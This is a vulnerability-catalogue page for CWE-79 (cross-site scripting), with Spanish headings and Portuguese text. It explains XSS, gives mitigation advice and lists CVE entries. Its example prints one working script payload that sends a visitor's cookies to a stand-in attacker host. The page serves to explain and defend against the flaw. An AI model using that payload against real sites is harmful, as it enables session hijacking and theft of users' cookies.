Fallos del tipo CWE-79

30.266 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-45494MEDIUMMicrosoft Edge (Chromium-based) Spoofing VulnerabilityEPSS 0.3%CVE-2024-10288MEDIUMCross-Site Scripting (XSS) vulnerability in LocalServerEPSS 0.3%CVE-2024-12460MEDIUMYears Since – Timeless <= 1.4.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-47493MEDIUMWordPress Ultimate Blocks plugin <= 3.2.9 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-50708MEDIUMFrappe Framework 17.0.0-dev - Stored XSS in Multi Select Dialog result renderingEPSS 0.3%CVE-2025-9137MEDIUMScada-LTS scheduled_events.shtm cross site scriptingEPSS 0.3%CVE-2026-69236MEDIUMstored cross site scripting issue in Esri Portal for ArcGISEPSS 0.3%CVE-2024-43348HIGHWordPress Purity Of Soul theme <= 1.9 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-15200MEDIUMSohuTV CacheCloud AppClientDataShowController.java doIndex cross site scriptingEPSS 0.3%CVE-2026-31281HIGHTotara LMS v19.1.5 and before is vulnerable to HTML Injection. An attacker can inject malicious HTML code in a message and send it to all thEPSS 0.3%CVE-2026-50712MEDIUMFrappe Framework 17.0.0-dev - Stored XSS in Tree View node label renderingEPSS 0.3%CVE-2025-0400MEDIUMStarSea99 starsea-mall update cross site scriptingEPSS 0.3%CVE-2024-41572MEDIUMLearning with Texts (LWT) 2.0.3 is vulnerable to Cross Site Scripting (XSS). The application has a specific function that does not filter spEPSS 0.3%CVE-2024-12815MEDIUMPoint Maker <= 0.1.6 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-13143MEDIUMZeroWdd studentmanager PermissionController. java submitAddPermission cross site scriptingEPSS 0.3%CVE-2026-76324MEDIUMStored Cross-Site Scripting (XSS) in Splunk Web Tours in Splunk EnterpriseEPSS 0.3%CVE-2026-5357MEDIUMDownload Manager <= 3.3.52 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2024-40600MEDIUMAn issue was discovered in the Metrolook skin for MediaWiki through 1.42.1. There is stored XSS via MediaWiki:Sidebar top-level menu entriesEPSS 0.3%CVE-2026-105651HIGHGhost: Stored XSS via Bookmark Card ImagesEPSS 0.3%CVE-2024-10289MEDIUMCross-Site Scripting (XSS) vulnerability in LocalServerEPSS 0.3%